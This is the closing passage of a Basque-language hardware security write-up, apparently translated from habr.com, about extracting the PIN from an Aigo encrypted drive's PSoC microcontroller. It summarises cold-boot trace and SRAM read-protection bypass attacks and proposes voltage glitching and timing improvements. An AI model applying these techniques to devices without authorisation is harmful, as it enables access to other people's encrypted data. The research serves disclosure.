
Beraz, labur ditzagun PSoC aldetik, gure Aigo diskoaren testuinguruan:

  • SRAM irakur dezakegu irakurketa babestuta egon arren;
  • Irristatzearen aurkako babesa saihestu dezakegu abioko arrasto hotzeko eraso bat erabiliz eta PIN kodea zuzenean irakurriz.

Hala ere, gure erasoak akats batzuk ditu sinkronizazio arazoengatik. Honela hobetu liteke:

  • Idatzi utilitate bat "cold boot trace" eraso baten ondorioz lortzen diren irteerako datuak behar bezala deskodetzeko;
  • erabili FPGA gadget bat denbora-atzerapen zehatzagoak sortzeko (edo erabili Arduino hardware-tenporizadoreak);
  • saiatu beste eraso bat: idatzi nahita oker dagoen PIN kode bat, berrabiarazi eta bota RAM, PIN kode zuzena RAM-an gordeko dela alderatzeko asmoz. Hala ere, ez da hain erraza Arduinon egitea, Arduinoren seinale maila 5 voltiokoa baita, aztertzen ari garen plakak 3,3 voltioko seinaleekin funtzionatzen duen bitartean.

Saiatu daitekeen gauza interesgarri bat irakurketa babesa saihesteko tentsio-mailarekin jolastea da. Planteamendu honek funtzionatuko balu, flash drivetik datu guztiz zehatzak lortuko genituzke, denbora-atzerapen zehatzekin kontrol-sumuma irakurtzean fidatu beharrean.

SROM-ak ziurrenik ReadBlock sistema-deiaren bidez guardia-bitak irakurtzen dituenez, gauza bera egin genezake deskribatu Dmitry Nedospasov-en blogean - Chris Gerlinskiren erasoa berriro gauzatzea, hitzaldian iragarri zuen "Recon Brusela 2017".

Egin litekeen beste gauza dibertigarri bat txipetik kasua xehatzea da: SRAM zabortegia ateratzea, dokumenturik gabeko sistema-deiak eta ahultasunak identifikatzea.

9. Ondorioa

Beraz, disko honen babesak asko uzten du desiratzerik, mikrokontrolagailu arrunta (ez β€œgogortua”) erabiltzen duelako PIN kodea gordetzeko... Gainera, ez dut (oraindik) begiratu nola doazen datuekin. enkriptatzea gailu honetan!

Zer gomenda diezaiokezu Aigorentzat? Enkriptatutako HDD unitateen pare bat eredu aztertu ondoren, 2015ean egin nuen aurkezpena SyScan-en, eta bertan kanpoko hainbat HDD unitateren segurtasun arazoak aztertu zituen, eta horietan hobetu zitekeenari buruzko gomendioak eman zituen. πŸ™‚

Bi asteburu eta hainbat arratsalde eman nituen ikerketa hau egiten. Guztira 40 ordu inguru. Hasieratik (diskoa ireki nuenean) amaierara arte (PIN kodea dump) zenbatzen. 40 ordu berdinak artikulu hau idazten eman dudan denbora barne hartzen du. Oso bidaia zirraragarria izan zen.

Iturria: www.habr.com

Gehitu iruzkin berria